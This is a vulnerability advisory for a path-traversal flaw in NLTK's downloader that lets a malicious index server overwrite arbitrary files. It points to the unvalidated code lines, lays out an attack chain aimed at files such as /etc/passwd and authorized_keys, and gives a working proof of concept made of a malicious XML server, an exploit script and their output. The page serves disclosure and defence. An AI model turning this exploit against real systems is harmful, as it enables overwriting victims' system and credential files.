Vulnerability GHSA-469j-vmhf-r6v7

High Risk
HIGH RISK
CVSS Score: 8.1
Score Range: 7.0–8.9
High severity vulnerabilities (CVSS 7.0–8.9). Serious vulnerabilities that should be prioritized soon after critical fixes.
7 months ago
March 19, 2026 at 12:42 PM UTC
NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite
0.8 and 0.9 and 0.9.3 - 0.9.9 and 2.0b4 and 2.0b5 and 2.0b6 and 2.0b7 and 2.0b8 and 2.0b9 and 2.0.1rc1 and 2.0.1rc3 and 2.0.1rc4 and 2.0.1 - 3.0.0b1 and 3.0.0b2 and 3.0.0 - 3.0.5 and 3.1 and 3.2 and 3.2.1 - 3.2.5 and 3.3 and 3.4 and 3.4.1 - 3.4.5 and 3.5b1 and 3.5 and 3.6 and 3.6.1 - 3.6.7 and 3.7 and 3.8 and 3.8.1 and 3.9b1 and 3.9 and 3.9.1 - 3.9.3
0.8 and 0.9 and 0.9.3 - 0.9.9 and 2.0b4 and 2.0b5 and 2.0b6 and 2.0b7 and 2.0b8 and 2.0b9 and 2.0.1rc1 and 2.0.1rc3 and 2.0.1rc4 and 2.0.1 - 3.0.0b1 and 3.0.0b2 and 3.0.0 - 3.0.5 and 3.1 and 3.2 and 3.2.1 - 3.2.5 and 3.3 and 3.4 and 3.4.1 - 3.4.5 and 3.5b1 and 3.5 and 3.6 and 3.6.1 - 3.6.7 and 3.7 and 3.8 and 3.8.1 and 3.9b1 and 3.9 and 3.9.1 - 3.9.3

Summary

NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite

Details

Vulnerability Description

The NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to:

  1. Arbitrary Directory Creation: Create directories at arbitrary locations in the file system
  2. Arbitrary File Creation: Create arbitrary files
  3. Arbitrary File Overwrite: Overwrite critical system files (such as /etc/passwd, ~/.ssh/authorized_keys, etc.)

Vulnerability Principle

Key Code Locations

1. XML Parsing Without Validation (nltk/downloader.py:253)

self.filename = os.path.join(subdir, id + ext)
  • subdir and id are directly from XML attributes without any validation

2. Path Construction Without Checks (nltk/downloader.py:679)

filepath = os.path.join(download_dir, info.filename)
  • Directly uses filename which may contain path traversal

3. Unrestricted Directory Creation (nltk/downloader.py:687)

os.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)
  • Can create arbitrary directories outside the download directory

4. File Writing Without Protection (nltk/downloader.py:695)

with open(filepath, "wb") as outfile:
  • Can write to arbitrary locations in the file system

Attack Chain

1. Attacker controls remote XML index server
   ↓
2. Provides malicious XML: <package id="passwd" subdir="../../etc" .../>
   ↓
3. Victim executes: downloader.download('passwd')
   ↓
4. Package.fromxml() creates object, filename = "../../etc/passwd.zip"
   ↓
5. _download_package() constructs path: download_dir + "../../etc/passwd.zip"
   ↓
6. os.makedirs() creates directory: download_dir + "../../etc"
   ↓
7. open(filepath, "wb") writes file to /etc/passwd.zip
   ↓
8. System file is overwritten!

Impact Scope

  1. System File Overwrite

Reproduction Steps

Environment Setup

  1. Install NLTK
pip install nltk
  1. Prepare malicious server and exploit script (see PoC section)

Reproduction Process

Step 1: Start malicious server

python3 malicious_server.py

Step 2: Run exploit script

python3 exploit_vulnerability.py

Step 3: Verify results

ls -la /tmp/test_file.zip

Proof of Concept

Malicious Server (malicious_server.py)

#!/usr/bin/env python3
"""Malicious HTTP Server - Provides XML index with path traversal"""
import os
import tempfile
import zipfile
from http.server import HTTPServer, BaseHTTPRequestHandler

# Create temporary directory
server_dir = tempfile.mkdtemp(prefix="nltk_malicious_")

# Create malicious XML (contains path traversal)
malicious_xml = """<?xml version="1.0"?>
<nltk_data>
  <packages>
    <package id="test_file" subdir="../../../../../../../../../tmp" 
             url="http://127.0.0.1:8888/test.zip" 
             size="100" unzipped_size="100" unzip="0"/>
  </packages>
</nltk_data>
"""

# Save files
with open(os.path.join(server_dir, "malicious_index.xml"), "w") as f:
    f.write(malicious_xml)

with zipfile.ZipFile(os.path.join(server_dir, "test.zip"), "w") as zf:
    zf.writestr("test.txt", "Path traversal attack!")

# HTTP Handler
class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/malicious_index.xml':
            self.send_response(200)
            self.send_header('Content-type', 'application/xml')
            self.end_headers()
            with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:
                self.wfile.write(f.read())
        elif self.path == '/test.zip':
            self.send_response(200)
            self.send_header('Content-type', 'application/zip')
            self.end_headers()
            with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:
                self.wfile.write(f.read())
        else:
            self.send_response(404)
            self.end_headers()
    
    def log_message(self, format, *args):
        pass

# Start server
if __name__ == "__main__":
    port = 8888
    server = HTTPServer(("0.0.0.0", port), Handler)
    print(f"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml")
    print("Press Ctrl+C to stop")
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        print("\nServer stopped")

Exploit Script (exploit_vulnerability.py)

#!/usr/bin/env python3
"""AFO Vulnerability Exploit Script"""
import os
import tempfile

def exploit(server_url="http://127.0.0.1:8888/malicious_index.xml"):
    download_dir = tempfile.mkdtemp(prefix="nltk_exploit_")
    print(f"Download directory: {download_dir}")
    
    # Exploit vulnerability
    from nltk.downloader import Downloader
    downloader = Downloader(server_index_url=server_url, download_dir=download_dir)
    downloader.download("test_file", quiet=True)
    
    # Check results
    expected_path = "/tmp/test_file.zip"
    if os.path.exists(expected_path):
        print(f"\n✗ Exploit successful! File written to: {expected_path}")
        print(f"✗ Path traversal attack successful!")
    else:
        print(f"\n? File not found, download may have failed")

if __name__ == "__main__":
    exploit()

Execution Results

✗ Exploit successful! File written to: /tmp/test_file.zip
✗ Path traversal attack successful!

Related Vulnerabilities

Other vulnerabilities affecting the same packages

High Risk
13 days ago
NLTK: WekaClassifier passes an unvalidated caller-controlled model path to the weka JVM, bypassing nltk.pathsec containment
0.8 and 0.9 and 0.9.3 - 0.9.9 and 2.0b4 and 2.0b5 and 2.0b6 and 2.0b7 and 2.0b8 and 2.0b9 and 2.0.1rc1 and 2.0.1rc3 and 2.0.1rc4 and 2.0.1 - 3.0.0b1 and 3.0.0b2 and 3.0.0 - 3.0.5 and 3.1 and 3.2 and 3.2.1 - 3.2.5 and 3.3 and 3.4 and 3.4.1 - 3.4.5 and 3.5b1 and 3.5 and 3.6 and 3.6.1 - 3.6.7 and 3.7 and 3.8 and 3.8.1 and 3.9b1 and 3.9 and 3.9.1 - 3.10.3 GHSA-j456-xh4h-cpf2
0.8 and 0.9 and 0.9.3 - 0.9.9 and 2.0b4 and 2.0b5 and 2.0b6 and 2.0b7 and 2.0b8 and 2.0b9 and 2.0.1rc1 and 2.0.1rc3 and 2.0.1rc4 and 2.0.1 - 3.0.0b1 and 3.0.0b2 and 3.0.0 - 3.0.5 and 3.1 and 3.2 and 3.2.1 - 3.2.5 and 3.3 and 3.4 and 3.4.1 - 3.4.5 and 3.5b1 and 3.5 and 3.6 and 3.6.1 - 3.6.7 and 3.7 and 3.8 and 3.8.1 and 3.9b1 and 3.9 and 3.9.1 - 3.10.3 GHSA-j456-xh4h-cpf2
High Risk
2 months ago
NLTK: Uncontrolled search path when invoking the Graphviz 'dot' binary
0.8 and 0.9 and 0.9.3 - 0.9.9 and 2.0b4 and 2.0b5 and 2.0b6 and 2.0b7 and 2.0b8 and 2.0b9 and 2.0.1rc1 and 2.0.1rc3 and 2.0.1rc4 and 2.0.1 - 3.0.0b1 and 3.0.0b2 and 3.0.0 - 3.0.5 and 3.1 and 3.2 and 3.2.1 - 3.2.5 and 3.3 and 3.4 and 3.4.1 - 3.4.5 and 3.5b1 and 3.5 and 3.6 and 3.6.1 - 3.6.7 and 3.7 and 3.8 and 3.8.1 and 3.9b1 and 3.9 and 3.9.1 - 3.10.2 PYSEC-2026-3868
0.8 and 0.9 and 0.9.3 - 0.9.9 and 2.0b4 and 2.0b5 and 2.0b6 and 2.0b7 and 2.0b8 and 2.0b9 and 2.0.1rc1 and 2.0.1rc3 and 2.0.1rc4 and 2.0.1 - 3.0.0b1 and 3.0.0b2 and 3.0.0 - 3.0.5 and 3.1 and 3.2 and 3.2.1 - 3.2.5 and 3.3 and 3.4 and 3.4.1 - 3.4.5 and 3.5b1 and 3.5 and 3.6 and 3.6.1 - 3.6.7 and 3.7 and 3.8 and 3.8.1 and 3.9b1 and 3.9 and 3.9.1 - 3.10.2 PYSEC-2026-3868
Unknown
2 months ago
NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars
0.8 and 0.9 and 0.9.3 - 0.9.9 and 2.0b4 and 2.0b5 and 2.0b6 and 2.0b7 and 2.0b8 and 2.0b9 and 2.0.1rc1 and 2.0.1rc3 and 2.0.1rc4 and 2.0.1 - 3.0.0b1 and 3.0.0b2 and 3.0.0 - 3.0.5 and 3.1 and 3.2 and 3.2.1 - 3.2.5 and 3.3 and 3.4 and 3.4.1 - 3.4.5 and 3.5b1 and 3.5 and 3.6 and 3.6.1 - 3.6.7 and 3.7 and 3.8 and 3.8.1 and 3.9b1 and 3.9 and 3.9.1 - 3.10.2 PYSEC-2026-3869
0.8 and 0.9 and 0.9.3 - 0.9.9 and 2.0b4 and 2.0b5 and 2.0b6 and 2.0b7 and 2.0b8 and 2.0b9 and 2.0.1rc1 and 2.0.1rc3 and 2.0.1rc4 and 2.0.1 - 3.0.0b1 and 3.0.0b2 and 3.0.0 - 3.0.5 and 3.1 and 3.2 and 3.2.1 - 3.2.5 and 3.3 and 3.4 and 3.4.1 - 3.4.5 and 3.5b1 and 3.5 and 3.6 and 3.6.1 - 3.6.7 and 3.7 and 3.8 and 3.8.1 and 3.9b1 and 3.9 and 3.9.1 - 3.10.2 PYSEC-2026-3869
Low Risk
2 months ago
NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`
0.8 and 0.9 and 0.9.3 - 0.9.9 and 2.0b4 and 2.0b5 and 2.0b6 and 2.0b7 and 2.0b8 and 2.0b9 and 2.0.1rc1 and 2.0.1rc3 and 2.0.1rc4 and 2.0.1 - 3.0.0b1 and 3.0.0b2 and 3.0.0 - 3.0.5 and 3.1 and 3.2 and 3.2.1 - 3.2.5 and 3.3 and 3.4 and 3.4.1 - 3.4.5 and 3.5b1 and 3.5 and 3.6 and 3.6.1 - 3.6.7 and 3.7 and 3.8 and 3.8.1 and 3.9b1 and 3.9 and 3.9.1 - 3.10.2 PYSEC-2026-3871
0.8 and 0.9 and 0.9.3 - 0.9.9 and 2.0b4 and 2.0b5 and 2.0b6 and 2.0b7 and 2.0b8 and 2.0b9 and 2.0.1rc1 and 2.0.1rc3 and 2.0.1rc4 and 2.0.1 - 3.0.0b1 and 3.0.0b2 and 3.0.0 - 3.0.5 and 3.1 and 3.2 and 3.2.1 - 3.2.5 and 3.3 and 3.4 and 3.4.1 - 3.4.5 and 3.5b1 and 3.5 and 3.6 and 3.6.1 - 3.6.7 and 3.7 and 3.8 and 3.8.1 and 3.9b1 and 3.9 and 3.9.1 - 3.10.2 PYSEC-2026-3871
High Risk
2 months ago
NLTK AllowlistUnpickler dotted-name validation bypass allows remote code execution
3.10.0 - 3.10.2 PYSEC-2026-3867
3.10.0 - 3.10.2 PYSEC-2026-3867
View all vulnerabilities for these packages

Impacted packages

Timeline

Published
7 months ago
March 19, 2026 at 12:42 PM UTC
Fixed (3.9.4)
7 months ago
March 24, 2026 at 06:13 AM UTC
Last Modified
5 days ago
November 04, 2026 at 03:30 AM UTC